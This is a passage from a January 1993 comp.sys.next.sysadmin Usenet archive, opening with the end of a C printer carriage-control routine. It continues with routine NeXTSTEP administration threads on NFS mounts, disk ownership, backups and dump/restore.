break;
case '7':
skipcnt = lineno - length;
break;
case '8':
skipcnt = 1;
eject = 1;
break;
case '9':
skipcnt = 1;
eject = 0;
break;
case '0':
skipcnt = 2;
break;
case '-':
skipcnt = 3;
break;
case '+':
putchar('\r');
skipcnt = 0;
formfeed = 0;
break;
default:
skipcnt = 1;
break;
}
if (skipcnt < 0) {
if (lineno >= length-channel) {
lineno = 0;
++npages;
if (!formfeed) {
putchar('\f');
formfeed = 1;
}
skipcnt=0;
} else {
skipcnt = lineno % channel;
if (!skipcnt) skipcnt = channel;
}
}
if (nlines<0) --skipcnt;
for(;skipcnt > 0;skipcnt--) {
putchar('\n');
formfeed = 0;
lineno++;
if (eject && lineno == length-3) {
lineno = length+1;
putchar('\f');
}
if (lineno >= length) {
lineno = 0;
++npages;
skipcnt = (eject) ? 3 : 0;
}
}
}
--
Prof. Dr. Klaus Pommerening
Institut fuer Medizinische Statistik und Dokumentation
der Johannes-Gutenberg-Universitaet
Obere Zahlbacher Strasse 69, W-6500 Mainz, Germany
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: NeXT networking advice wanted...
Message-ID: <1993Jan15.085957.2082@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1993Jan14.212326.4472@julian.uwo.ca>
Distribution: na
Date: Fri, 15 Jan 1993 08:59:57 GMT
In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca
(Lance R. Bailey) writes:
> In article <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca>
> sherwood@space.ualberta.ca (System Administrator) writes:
> >
> >Don't do this. I don't know if they got rid of it in 3.0, but 2.x
> >machines won't boot with /NextLibrary on a non-local disk.
> >
> sorry, that's just plain wrong. all my 2.1 machines NFS mount the same
> /NextLibrary
Machines won't boot unless certain parts of /NextLibrary/Fonts are
available at boot time. You can mount a full /NextLibrary over the
stripped down local version. So you are both wrong AND right.
I don't know if this has changed for 3.0.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 paull@cix.compulink.co.uk
Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin
From: volker@abulafia.in-berlin.de (Volker Safran)
Subject: Re: Weird file ownership problems
Message-ID: <1993Jan15.103917.13396@abulafia.in-berlin.de>
Sender: volker@abulafia.in-berlin.de
Organization: Volker Safran, Interprint, Berlin, Germany
References: <1993Jan14.194916.522@otago.ac.nz>
Date: Fri, 15 Jan 1993 10:39:17 GMT
In article <1993Jan14.194916.522@otago.ac.nz> athomson@otago.ac.nz
(Alastair Thomson) writes:
> I have an odd problem. I just installed a new Micropolis 1598 1GB disk
on my
> NSTC, running NS3.0. Thing were just dandy until I moved all my users
onto that
> disk. The ownership of *ALL* the files of the disk appears to change
to whoever
> uses it. Even when I change them all back using chown, after someone
logs in,
> they own all the files on the file system.
>
> Any hints would be greatly appreciated
> --
>
You have to mount the new drive at startup time, making a new entry in
/etc/fstab like:
/dev/sdxa "/mount_point" 4.3 rw,noquota 0 2
(read the man page for mount and fstab for details!)
where the x in sdxa stands for the logical disk number, if your disk is
the second in your SCSI chain, put sd1a in here (because sd0a is the
first). You can observe these numbers at boottime.
/mount_point is the point in the filesystem, where your disk will be
mounted on, for example /newdisk !
If you dont do this, NeXTs automounter will mount the disk at the
moment, anybody is logging in and the ownership of all files will be the
one of the person, that is logged in (like with floppy disks).
CIAO Volker
--
************************************************************
* Volker Safran, FB20, TU Berlin, PHONE: +49 30 4542303 *
* volker@abulafia.in-berlin.de (NeXTMail very welcome)*
* safran@fb3-s7.math.tu-berlin.de (no NeXTMail, sorry) *
************************************************************
Newsgroups: comp.sys.next.sysadmin
From: wkwong@kalman.eng.ohio-state.edu (Waihon Andrew Kwong)
Subject: Dial in setup???? How?
Message-ID: <1993Jan15.231851.21361@ee.eng.ohio-state.edu>
Sender: news@ee.eng.ohio-state.edu
Organization: The Ohio State University Dept of Electrical Engineering
Distribution: usa
Date: Fri, 15 Jan 1993 23:18:51 GMT
Greeting,
I followed the NeXT manuals (NS3.0) setting up the dialup modem.
Then I tried to login from a PC using modem. All I got were some wired
symbols. What could be wrong?? I'm using the PC with Procomm. Setting
is 2400 N81 Full duplex ANSI for VT100.
Any idea??
Andy
Newsgroups: comp.sys.next.sysadmin
From: geoff@ficus.cs.ucla.edu (Geoffrey Kuenning)
Subject: Re: Always make backups
Message-ID: <1993Jan15.223742.25495@cs.ucla.edu>
Sender: usenet@cs.ucla.edu (Mr Usenet)
Organization: UCLA, Computer Science Department
References: <1j65vmINN5ns@flop.ENGR.ORST.EDU>
Distribution: usa
Date: Fri, 15 Jan 93 22:37:42 GMT
Well, it's too late to help Bostrov, but here's some hard-learned
advice for other people:
1) Get some sort of "safe" rm command and alias rm to it.
2) Never combine file-extraction commands with rm commands on the
same command line.
3) Never perform extensive work (i.e., upgrades) without backing
up first.
4) Never recover from a backup in a manner that risks losing the
backup itself. If possible, mount the backup media in a
hardware write-protected mode.
5) If you use a shell that has history, never let "dangerous" rm
commands appear in your history. For example, type "sh"
before you type "rm -rf old-sources".
6) Double- and triple-check dangerous commands before hitting
return. Use "pwd" to be sure you're where you think you are.
Don't get into a rhythm.
7) If you have a lot of dangerous commands to do, put them into a
script before you run them. Then test the script by putting
"echo" in front of the dangerous parts. Test it extensively
before changing it to really do things.
8) Keep multiple backups so that the loss of one isn't a
disaster. Before I upgraded to 2.0 and later 3.0, I made
*two* full backups of my disk. It took a lot longer, but I
sure felt secure.
None of this is intended to criticize Bostrov; I've done the same
sort of things myself (try "diskformat wrong-disk-with-my-sources" for
a really sinking feeling...). But by following the above rules, I
haven't lost any important data in over five years.
--
Geoff Kuenning geoff@maui.cs.ucla.edu geoff@ITcorp.com
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From: guy@boi.hp.com ()
Subject: Re: monitoring a UPS from a serial port
Sender: news@boi.hp.com (News Server Project)
Message-ID: <C0wn95.41L@boi.hp.com>
Date: Fri, 15 Jan 1993 17:00:39 GMT
References: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU>
Organization: Hewlett-Packard / Boise, Idaho
Followup-To: comp.unix.admin,comp.sys.next.sysadmin
--
I've done it on HP-UX systems. I have a C program that monitors a rs232
port. It logs power fail events and will call a shutdown script when
the battery gets low. The program is started by the rc script on boot
up. Email if your interested in the details.
--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
Guy Burnham, Boise Surface Mount Center, Hewlett Packard Co. Inc.
guy@hpbs5194.boi.hp.com 208(323-3355)
I WORK TO LIVE ... I LIVE FOR TRAINS, and OLD TRUCKS, and OLD TRACTORS and ..
Disclaimer: Don't you be the only one to take me seriously!
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Newsgroups: comp.sys.next.sysadmin
From: unomain!root (Operator)
Subject: Keyboard config. depending on the station
Message-ID: <1993Jan14.120239.3300@unomain.uucp>
Sender: root@unomain.uucp (Operator)
Organization: Matra Communication
Date: Thu, 14 Jan 1993 12:02:39 GMT
Hi,
I commonly use 2 NeXT cubes on a lan. The first one has a UK keyboard,
the second one a french keyboard. When I log on the system,
the Preference application allows me to change the keyboard.
Unfortunately, this configuration is depending on the user and not
on the station. So I have to change the config each time I use the other
station.
Does someone have an idea to fix this problem ?
Thanks in advance.
Newsgroups: comp.sys.next.sysadmin
From: eberhard@nilgai.cornell.edu (EberhardBodenschatz)
Subject: slow response of a host in a next network
Message-ID: <1993Jan16.000618.6075@msc.cornell.edu>
Sender: news@msc.cornell.edu
Organization: Cornell-Materials-Science-Center
Date: Sat, 16 Jan 1993 00:06:18 GMT
Hi!
I have the following problem in a local network of my NeXT stations
running 2.1. I have one config. server, 2 hosts and one client. I have NFS
running with yellow pages. The two hosts are installed absolutely equally,
however one of them takes for ever to respond, if you call an application
or start a program - it looks like it is getting lost in the network. Did
anybody have a similar problem?
Thanks for you help!
Eberhard
eberhard@max.msc.cornell.edu
PS: One of the machines was altered by people that tried to install it in
a mixed network - I think I changed everything back. Is there something I
could have forgotten?
From: dwatola@galway.jpl.nasa.gov (David A. Watola)
Newsgroups: comp.sys.next.sysadmin
Subject: problems exporting nextprinter
Date: 16 Jan 1993 02:00:49 GMT
Organization: Jet Propulsion Laboratory
Distribution: world
Message-ID: <1j7q8hINNk13@elroy.jpl.nasa.gov>
i am having some problems exporting my nextprinter from my nextstation to
a sparc via ethernet. neither nis or netinfo is being used. the problem is
that printmanager refuses to let me mark the printer as 'public'--it won't
let me make it available to the root domain because it doesn't want to export
the printer to the local domain. i find it very annoying that i have to fiddle
with this netinfo crapola (for the local machine) when i do not have a netinfo
network...
anyway, i do not know how to fix it such that the local domain and / are not
the same. hell, i'd prefer not to.
any ideas, anyone?
dwatola@bvd.jpl.nasa.gov
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From: mark@cyantic.com (Mark T. Dornfeld)
Subject: pcnfsd Daemon questions
Organization: CYANTIC Systems
Date: Fri, 15 Jan 1993 21:49:00 GMT
Message-ID: <1993Jan15.214900.13074@cyantic.com>
I have been trying to use the pcnfsd daemon on my 3.0 system and have the
following questions:
1. Which version is this daemon? Does it have the features of 2.0?
2. Is there current source available in the public domain?
3. Remote file systems mount properly from a PC (aack) running Wollongong's
PC-NFS, but when I try to mount a next printer, I get a permission
denied message.
The command line to mount a printer is:
mount LPT1: \\nexthost\/nextprintername username password
Any help/discussion is appreciated.
--
Mark T. Dornfeld Voice: (416) 234-9048
CYANTIC Systems Facsimile: (416) 234-0477
101 Subway Crescent Suite 2103 Email: mark@cyantic.com
From: steve@tweedledee.ucsb.edu (Steve Trainoff)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT networking advice wanted...
Message-ID: <7383@ucsbcsl.ucsb.edu>
Date: 16 Jan 93 03:36:33 GMT
References: <104933@netnews.upenn.edu>
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In article <104933@netnews.upenn.edu> shuque@spectre.sas.upenn.edu (Shumon
Huque) writes:
> I have mounted /NextLibrary from a remote machine too, and it works fine
> most of the time. The only problem is when the NFS server goes down, and
> you reboot the client machine, the login window does not appear as it
> cannot find /NextLibrary/Fonts. Is it recommended practice to mount
> /NextLibrary?
We mount /NextLibrary as well. You can get around the standalone boot problem
by not deleting all of the local version of /NextLibrary. Keep the
directories:
/NextLibrary/Fonts
/NextLibrary/Sounds
/NextLibrary/Keyboards
These are needed for standalone operation. When booting with the net the NFS
mounts masks these directories with the server's copy. Either way it works
fine. The added directories only amount to a few MB so you still get the disk
savings.
--
..STeve
------------------------------------
Insert pithy maxim here...
steve@tweedledee.ucsb.edu (NeXT mail)
From: scott@nic.gac.edu (Scott Hess)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Always make backups
Date: 16 Jan 93 00:34:08
Organization: Is a sign of weakness
Distribution: usa
Message-ID: <SCOTT.93Jan16003408@nic.gac.edu>
References: <1j65vmINN5ns@flop.ENGR.ORST.EDU> <1993Jan15.223742.25495@cs.ucla.edu>
In-reply-to: geoff@ficus.cs.ucla.edu's message of Fri, 15 Jan 93 22:37:42 GMT
In <1993Jan15.223742.25495@cs.ucla.edu>
geoff@ficus.cs.ucla.edu (Geoffrey Kuenning) writes:
>Well, it's too late to help Bostrov, but here's some hard-learned
>advice for other people:
Good advice, but here's one more:
0) Get the machine with the data that's most important to you,
and accidentally nuke everything in sight. There. Now
you've gotten burned, and the likelihood of you _ever_
losing data due to simple stupidity has been reduced by
perhaps 90%.
In fact, this is where I really wish we could start _anyone_ who
gets a computer. First you give them enough time to generate useful
data and build some confidence, then you ask them to do something
that they'll screw up, and tell them that that was the _only_ copy
available ... until you've totally nuked that data, and felt the
sinking stomach that accompanies that event, you simply don't listen
to sage advice from those of us who _have_ lost everything that
way. It's like telling a kid that they are going to get burnt when
they're playing with fire - a mother just doesn't speak with the
authority of a pair of singed eyebrows!
[Context: Yes, I've done this. In fact, I pretty much nuked two
machines, one of which was a cube with OD, 8M and no hard disk at
all. Worst thing was, I managed to nuke it in such a way that most
everything kept working until the next time we rebooted ... luckily,
they weren't my machines :-) (Hi Geoff <different Geoff than the
quotee above>) Nowadays, I make backups in triplicate, using
different backup techniques (tar, dump, afio) and different media,
if available, _and_ upload the very most important couple meg to
another site. Perhaps it's paranoia - but consider the risks
involved. If another couple hours will remove any doubt, then I'll
spend the couple hours ...]
Later,
--
scott hess <shess@ssesco.com> <And my trusty sidekick, Decoy>
12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS manager - does it work? Urgent help with exporting.
Message-ID: <C0y593.Lu9@newcastle.ac.uk>
Date: 16 Jan 93 12:27:03 GMT
Organization: University of Durham
Does the NFS manager included with 3.0 actually work? When I use it to mounte remotely
exported nonNeXT-machine filesystems, it only gets about 50% of them correct...if I open a
terminal window and mount them by hand, it works just fine.
Also, I need to export a directory, but can't seem to get it to work...I opened the
NFSmanager and exported a directory (/tmp/backups) world read/write (I know, crazy), and
like the instruction said, I rebooted the remote machine...but I got this when I tried to
mount the exported directory:
mount: shrug:/tmp/backups server not responding: RPC: Program not registered
mount: retrying
rpcinfo on shrug (my NeXT), didn't have nfs running on it, as can be seen on nearby suns...
Help? I drastically need to do some backups and this is the only way to get it done
effeciently...thanks!!
Scott
--
EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail)
SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
SUN Computers: "Nice chips, shame about her OS"
"If a virtual tree falls in a virtual forest, does it make a virtual sound?"
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre)
Newsgroups: comp.sys.next.sysadmin
Subject: Sundiag for NeXT?
Message-ID: <C0yAyn.v4@newcastle.ac.uk>
Date: 16 Jan 93 14:30:23 GMT
Organization: University of Durham
I had a chance to play with a recent version of SunDiag for the sparc yesterday and
thought how nice it was to have everything needed for system diagnoses in one package,
taking over teh screen, but testing everything...
Is there anything remotely similar for the NeXT? An all in one diagnoses package?
Thanks,
Scott
--
EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail)
SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE
SUN Computers: "Nice chips, shame about her OS"
"If a virtual tree falls in a virtual forest, does it make a virtual sound?"
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: rdump in multiuser mode ok?
Message-ID: <C0yIDM.A3q@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <1j793mINNjh@jhunix.hcf.jhu.edu>
Date: Sat, 16 Jan 1993 17:10:20 GMT
eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz) writes:
>Question: Is it 'safe' to run rdump in multiuser mode.
>Why?: My NSTC can't find machines in single user mode.
It depends on what you mean by 'safe'. It is never safe to run a
dump in multi-user mode, BUT: if everyone is logged off, and you
aren't exporting the filesystem that you are dumping, and all
non-essential processes are killed (including sendmail and cron,
just to be safe), then you are relatively allright. Chances are
slim that an important file will be touched. The only files that
might be corrupted during a dump are those that are changed. As
long as nothing changes any files, you are safe.
By the way, most people get away with backups done in multi-user
mode. Less human overhead that way.
Our big mainframes get a once a month level 0 dump in single user
mode, but all of our workstations rely on a network backup system
that uses tar to shove data to a remote server with exabytes on it.
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
From: ed@talus.com
Subject: Re: Weird file ownership problems
Message-ID: <1993Jan16.003200.1160@talus.com>
Sender: ed@talus.com
Organization: Talus Corporation
References: <1993Jan14.194916.522@otago.ac.nz>
Date: Sat, 16 Jan 1993 00:32:00 GMT
In article <1993Jan14.194916.522@otago.ac.nz> athomson@otago.ac.nz (Alastair
Thomson) writes:
> I have an odd problem. I just installed a new Micropolis 1598 1GB disk on my
> NSTC, running NS3.0. Thing were just dandy until I moved all my users onto
that
> disk. The ownership of *ALL* the files of the disk appears to change to
whoever
> uses it. Even when I change them all back using chown, after someone logs in,
> they own all the files on the file system.
>
> Any hints would be greatly appreciated
> --
Well, it looks like your Micropolis is not being mounted at startup. It is
mounted when logging in the first time. What you probably have to do is just
add an entry for the disk in the /etc/fstab config. file...
--
Erik Dasque "The French guy" Houston (713) 561-0700
V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com
Where do I sign ? Here ? Oh HERE ? Here Right ? Ok... Ed.
Newsgroups: comp.sys.next.sysadmin
From: ed@talus.com
Subject: Re: How to change language (loginwindow)
Message-ID: <1993Jan15.231946.700@talus.com>
Sender: ed@talus.com
Organization: Talus Corporation
References: <1j54vpINN53i@network.ucsd.edu>
Date: Fri, 15 Jan 1993 23:19:46 GMT
In article <1j54vpINN53i@network.ucsd.edu> wade@hobbes.ucsd.edu (Wade Blomgren)
writes:
>
> A user got to one of our turbo slabs that had just been upgraded to 3.0
> before we did, and mischievously set the language and keyboard to
> French instead of the desired English, in the configuration application
> that comes up on the first reboot after a 3.0 install.
>
> I managed to find the right keys on the keyboard to feed in the root
> password and get in, and I changed the root prefs to USA keyboard and
> English, and now it seems if the average user logs in s/he gets an
> English environment, but the loginwindow is still in French. I
> rdist'd /.NeXT and /usr/lib/NextStep from a machine configured for
> English and rebooted but the login window is still in French.
> No other likely files presented themselves in an rdist comparison
> of the tow machines.
>
> Suggestions on how to force the language back to English would be
> most welcome.
>
> Wade Blomgren
> wade@hobbes.ucsd.edu
Ain't french better though ? It brings a little spicy taste from the Old
continent to your NeXT...
---
Erik Dasque "The French guy" Houston (713) 561-0700
V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com
Where do I sign ? Here ? Oh HERE ? Here Right ? Ok... Ed.
--
Erik Dasque "The French guy" Houston (713) 561-0700
V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com
Where do I sign ? Here ? Oh HERE ? Here Right ? Ok... Ed.
Newsgroups: comp.sys.next.sysadmin
From: lrb@alex.ctrg.rri.uwo.ca (Lance R. Bailey)
Subject: Re: NeXT networking advice wanted...
Organization: Robarts Research Institute, London Canada.
Distribution: na
Date: Sat, 16 Jan 1993 14:51:03 GMT
Message-ID: <1993Jan16.145103.23893@julian.uwo.ca>
Keywords: n
References: <1993Jan14.212326.4472@julian.uwo.ca> <1993Jan15.085957.2082@seer.demon.co.uk>
Sender: news@julian.uwo.ca (USENET News System)
In article <1993Jan15.085957.2082@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes:
>In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca
>(Lance R. Bailey) writes:
>> In article <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca>
>> sherwood@space.ualberta.ca (System Administrator) writes:
>> >
>> >Don't do this. I don't know if they got rid of it in 3.0, but 2.x
>> >machines won't boot with /NextLibrary on a non-local disk.
>> >
>> sorry, that's just plain wrong. all my 2.1 machines NFS mount the same
>> /NextLibrary
>
>Machines won't boot unless certain parts of /NextLibrary/Fonts are
>available at boot time. You can mount a full /NextLibrary over the
>stripped down local version. So you are both wrong AND right.
sorry, but there is NOTHING in my /NextLibrary at boot time. ie: /NextLibrary
is a symlink pointing to a directory on a NFS mounted disk. i mount the
partition from rc.local, the very last line in the script.
ls -ld /NextLibrary
lrwxrwxrwx 1 root 22 Oct 29 11:47 /NextLibrary -> /usr/local/NextLibrary
ls -ld /usr/local/NextLibrary
lrwxrwxrwx 1 root 30 Dec 21 11:20 /usr/local/NextLibrary -> ./alex.ctrg/NeXT_2/NextLibrary
ls -ld /usr/local/alex.ctrg/NeXT_2/NextLibrary
drwxr-xr-x 14 lrb 1024 Dec 21 11:10 /usr/local/alex.ctrg/NeXT_2/NextLibrary
df /usr/local/alex.ctrg/NeXT_2/NextLibrary
Filesystem kbytes used avail capacity Mounted on
alex.ctrg:/u1 103329 84561 8435 91% /usr/local/alex.ctrg/NeXT_2
--
Lance R. Bailey System/Network Manager Robarts Research Institute
NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group
fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr.
vox: +1 519 663 3787 x4108 London, Canada N6A 5K8
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From: lrb@alex.ctrg.rri.uwo.ca (Lance R. Bailey)
Subject: Re: slow response of a host in a next network
Organization: Robarts Research Institute, London Canada.
Date: Sat, 16 Jan 1993 14:55:55 GMT
Message-ID: <1993Jan16.145555.24084@julian.uwo.ca>
Keywords: n
References: <1993Jan16.000618.6075@msc.cornell.edu>
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In article <1993Jan16.000618.6075@msc.cornell.edu> eberhard@nilgai.cornell.edu (EberhardBodenschatz) writes:
>I have the following problem in a local network of my NeXT stations
>running 2.1. I have one config. server, 2 hosts and one client. I have NFS
>running with yellow pages. The two hosts are installed absolutely equally,
>however one of them takes for ever to respond, if you call an application
>or start a program - it looks like it is getting lost in the network. Did
>anybody have a similar problem?
i had 3 'slabs on the same piece of thinwire that were NFS sharing from
a host only one repeater away. the host closest to the repeater got
NFS timeouts on a regular basis, no other host did.
it was like the etherport was flaking out, but network inquires
shewed no lost packets.
NeXT replaced the motherboard, no problems since.
--
Lance R. Bailey System/Network Manager Robarts Research Institute
NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group
fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr.
vox: +1 519 663 3787 x4108 London, Canada N6A 5K8
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NFS manager - does it work? Urgent help with exporting.
Message-ID: <17987@umd5.umd.edu>
Date: 16 Jan 93 19:23:09 GMT
References: <C0y593.Lu9@newcastle.ac.uk>
Sender: news@umd5.umd.edu
Organization: Los Alamos National Laboratory, NM
In article <C0y593.Lu9@newcastle.ac.uk> S.A.McIntyre@durham.ac.uk writes:
>Does the NFS manager included with 3.0 actually work? When I use it to
>mounte remotely exported nonNeXT-machine filesystems, it only gets about 50%
>of them correct...if I open a terminal window and mount them by hand, it
>works just fine.
Yes.
It'll never mount anything for you, because it assumes you want to go into
/Net for the automounter.
It'll only export things for you if you change the local configuration.
>Also, I need to export a directory, but can't seem to get it to work...I
>opened the NFSmanager and exported a directory (/tmp/backups) world
>read/write (I know, crazy), and like the instruction said, I rebooted the
>remote machine...but I got this when I tried to mount the exported directory:
>mount: shrug:/tmp/backups server not responding: RPC: Program not registered
>mount: retrying
Did you add that export to the root domain? If there is no exports
information on bootup, /usr/etc/rpc.mountd and /usr/etc/nfsd(s) are not
started. Come to think of it, I'm not sure if NFSManager will start those
for you -- it should...
In short, if you're modifying info in a domain other than local, you'll have
to manually export and/or mount things yourself (including firing up
rpc.mountd and nfsd's). If you are doing mount information that's not in
/Net, you will always have to manually mount them. Rebooting will work
either way.
>Scott
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
Like my parents, I have never been a regular church member or churchgoer.
It doesn't seem plausible to me that there is the kind of God who
watches over human affairs, listens to prayers, and tries to guide
people to follow His precepts -- there is just too much misery and
cruelty for that. On the other hand, I respect and envy the people
who get inspiration from their religions.
- Benjamin Spock
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Mail Address files?
Message-ID: <1993Jan16.120358.2989@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <C0vDHw.CvJ@news.cso.uiuc.edu>
Date: Sat, 16 Jan 1993 12:03:58 GMT
In article <C0vDHw.CvJ@news.cso.uiuc.edu> gmk@pegasos.ccsr.uiuc.edu
(Gottfried Mayer-Kress) writes:
> I would like to import larger files into my NeXT Mail address list.
> I cannot find where that file is located and how I could access/edit it.
> Do I really have to put in every address by hand?
Private Users are held in ~/.NeXT/.mailalias. Format seems to be Private
Users:, followed by a comma separated list of addresses (no returns). I
can extrapolate other possibilities from that layout :-).
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 paull@cix.compulink.co.uk
Fax: (0494)680228 76711.451@compuserve.com
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From: francisr@stupid.ucs.indiana.edu (Rob Francis)
Subject: All of a sudden CDPlayer.app stopped working
Message-ID: <C0yrGL.G7D@usenet.ucs.indiana.edu>
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Sat, 16 Jan 1993 20:26:45 GMT
Weird man weird. Nothing changed in my SCSI chain.
My CD-ROM is sd2. When I pop in an audio CD, CDPlayer.app doesn't
autolaunch like it used to (it's still in the same place and
permissions are correct). Instead, I get:
Jan 16 15:20:47 Workspace: Mounted scsi disk at /cdaudio
cdaudio.util: CANNOT OPEN CDPlayer
If I launch CDplayer and have it ask me for a disk, then it pops up a
panel that says: "Please insert disk in external disk 2". So I do
just that. The following pops up on the console, and I get another
panel that says: "Wrong disk".
DISK UNFORMATTED
Disk is Write Protected
kernel panel posts termination message
cdutil: openDrive: Couldn't open /dev/rsd3h (-1)
cdutil: openDrive: No such device or address
The deal is, there is no sd3! sd1 is SCSI targert 3, an external gig
drive, the CD-ROM is sd2 at target 5, and an Exabyte is st0 at target
4.
The CD-ROM terminates the chain, and I have a terminator on it.
Everything was working just fine a few days ago. I can still mount
CD's using /dev/sd2, I just can't listen to any audio CD's, which
means I can't work. (-:
Anyone have any ideas?
-rob
francisr@indiana.edu
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From: t_pascal@oxy.edu. (C. Regis Wilson)
Subject: Re: Always make backups
Message-ID: <1993Jan16.202625.13536@cheshire.oxy.edu>
Sender: usenet@cheshire.oxy.edu (System Account)
Organization: Occidental College, Los Angeles, CA. USA
References: <1993Jan15.223742.25495@cs.ucla.edu>
Distribution: usa
Date: Sat, 16 Jan 1993 20:26:25 GMT
In article <1993Jan15.223742.25495@cs.ucla.edu> geoff@ficus.cs.ucla.edu
(Geoffrey Kuenning) writes:
> Well, it's too late to help Bostrov, but here's some hard-learned
> advice for other people:
>
> 1) Get some sort of "safe" rm command and alias rm to it.
>
Actually, this is a bad thing... Use a "safe" rm command, but _do_not_
_call_it_rm_!! Call it 'del' or 'saferm' or whatever. Suppose you're used
to a safe rm, then find yourself on a machine with the real rm, and you're
phuck*d.
---------
T. Pascal, King of Pascal | "He travels fastest who travels alone,
1600 Campus Road, Box 829 | but not when the frost drops below zero
Los Angeles, CA 90041 | fifty degrees or more."
| -Old eskimo saying
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From: windsor@symcom.math.uiuc.edu (Eric W. Blankenburg)
Subject: >>> STILL NEED HELP <<< NS 1.0 => NS 3.0...tougher!!!
Message-ID: <C0yvuM.Av6@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Organization: Math Dept., University of Illinois at Urbana/Champaign
Distribution: usa
Date: Sat, 16 Jan 1993 22:01:33 GMT
Thanks for the many responses to my first note. Here is an exact account
of the steps I took to "boot" directly from the CD-ROM Drive.
I set the CD-ROM drive to SCSI 0.
I installed the 33 Mhz/040 board with 16 MB RAM.
I connected the CD-ROM drive to the NeXT SCSI Port.
I powered up the CD-ROM Drive first.
I put the NeXTStep 3.0 CD in the CD caddy and put it in the CD-ROM Drive.
After it had spun up, I pressed the power key to turn on the NeXT machine.
All I got was two messages.
The first one said...."Testing system"...
The second one said..."Bad Disk"...after several minutes I powered down.
Do anyone know what to do next?
Thanks in advance.
windsor@symcom.math.uiuc.edu
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From: wipeout@netcom.com (Eric Thompson)
Subject: Re: Title Bar FONT is screwed for every window -- help [SUMMARY]
Message-ID: <1993Jan17.002536.13919@netcom.com>
Organization: Netcom - Online Communication Services (408 241-9760 guest)
References: <1993Jan15.065532.16944@netcom.com>
Date: Sun, 17 Jan 1993 00:25:36 GMT
I wrote:
>
>For no reason I can think of the font in all of the title bars of all
>the windows I bring up is now Courier instead of Helvetica.. is this
>something simple to fix like a dwrite? Which one?
I got several answers:
1. It's under Preferences in 3.0. (I forgot to mention I had 2.2)
2. It's a WindowServer bug, so reboot.
3. All of your fonts are gone.
And the winner is..... #2! Everything was fine upon rebooting. I liked
the response suggesting all my fonts were gone though :-)
Eric
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From: emarinos@marcon.ka.sub.org (Evstathios Marinos)
Subject: Re: HELP: Dump problem with HP 35480A DAT Streamer
Message-ID: <1993Jan16.213638.1843@marcon.ka.sub.org>
Sender: emarinos@marcon.ka.sub.org (Evstathios Marinos)
Organization: The little black box game department
Date: Sat, 16 Jan 1993 21:36:38 GMT
Hi Everbody,
first of all I want to thank all people, who gave me help to solve the problem
with the HP 35480A Dat streamer.
Especially I want to thank Helmut Schoenborn (Germany) and Lewis Van Winkle
(Portland, Oregon) who had the solution for the restore problem.
Because it may be interesting for other user too, I am posting my original
question and the solution.
In comp.sys.next.hardware article <1993Jan8.100905.601@marcon.ka.sub.org> you
wrote:
> Hi,
>
> I've got problems with the DAT Streamer HP 35480A running at NeXT machines
when
> working with dump/restore.
>
> Dumping files to the streamer workes fine, but performing a restore from a
dump
> produces a strange behaviour. Some times it works fine, the next time I get
> following error:
>
> ST:CMD=0x8 SR_IO_STATUS=2H
> Sense Key=0x0
> Sense Code=0x0
> Tape/Disk Read Error: I/O Error
>
> I tried the streamer with various NeXT machines, Cube's, Mono's, Turbo
Color's
> and I always got the same problems with restore. When using tar to write and
> read to the streamer no errors ocured.
Here is the solution from Lewis van Winkle:
> I also was usually unable to make "restore" work on data "dump"ed to
> tape using our HP 35480A DAT drive. Then I discovered what
> will make NeXT's "restore" work consistently for me: specifying
> the restore's "b" option with a value of 10 (block size 10).
> For example, the following restore commands will work consistently:
>
> /usr/etc/restore vtbf 10 /dev/rst0 > TEMPFILE
> /usr/etc/restore vbfx 10 /dev/rst0 [filename1 filename2 ...]
>
> while the same commands without the "b" and "10" will not always
